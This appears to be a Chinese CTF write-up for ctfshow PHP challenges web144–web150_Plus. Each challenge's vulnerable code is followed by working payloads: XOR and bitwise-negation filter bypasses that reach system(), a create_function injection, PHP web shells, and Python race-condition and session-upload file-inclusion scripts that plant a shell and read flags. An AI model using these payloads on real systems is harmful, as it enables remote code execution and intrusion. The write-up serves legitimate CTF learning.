if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
Hint
?v1=10&v2=(%8c%86%8c%8b%9a%92)(%9c%9e%8b%df%99%d5);&v3=-
hin不行,下面的可以:
?v1=1&v2=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)&v3=1
web145
144的plus版本
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
Hint
?v1=%0a1&v2=%0a0&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5):
web146
145plus
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
Hint
?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5)|
web147
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
Hint
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。
普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;
而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
payload:
GET ?show=;};system('grep flag flag.php');/*
POSOT ctf=%5ccreate_function
web148
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
Hint
# payload
?code=("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
预期解是使用中文
?code=$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "{{{"^"?<>/";
异或出来的结果是 _GET
web149-条件竞争
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
Hint
GET: ?ctf=index.php show=<?php eval($_POST[cmd]);?>
条件竞争脚本
# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threading
url = 'http://d3aa0fa3-8a63-4994-8a43-80891c436065.chall.ctf.show/'
def write():
while event.isSet():
data = {
'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
}
requests.post(url=url+'?ctf=1.php', data=data)
def read():
while event.isSet():
response = requests.get(url + '1.php')
if response.status_code != 404:
print(response.text)
event.clear()
if __name__ == "__main__":
event = threading.Event()
event.set()
for i in range(1, 100):
threading.Thread(target=write).start()
for i in range(1, 100):
threading.Thread(target=read).start()
web150
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
Hint
文件包含非预期绕过

# -*- coding: utf-8 -*-
# @Time : 20.12.5 13:52
# @author:lonmar
import io
import requests
import threading
sessid = 'test'
data = {
"ctf": "/tmp/sess_test",
"cmd": 'system("cat flag.php");'
}
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://f784b6c6-95bc-46b4-b9e1-e5b43c799b7f.challenge.ctf.show:8080/',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid})
def read(session):
while event.isSet():
res = session.post(
'http://f784b6c6-95bc-46b4-b9e1-e5b43c799b7f.challenge.ctf.show:8080/?isVIP=1',
data=data
)
if 'ctfshow{' in res.text:
print(res.text)
event.clear()
else:
print('[*]retrying...')
if __name__ == "__main__":
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 5):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 5):
threading.Thread(target=read, args=(session,)).start()
web150_Plus
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
Hint
这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦
exp :https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
用Hint的方法没弄懂,几乎所有的wp都说可以使用150的解法,所以就使用了150的python脚本。

浙公网安备 33010602011771号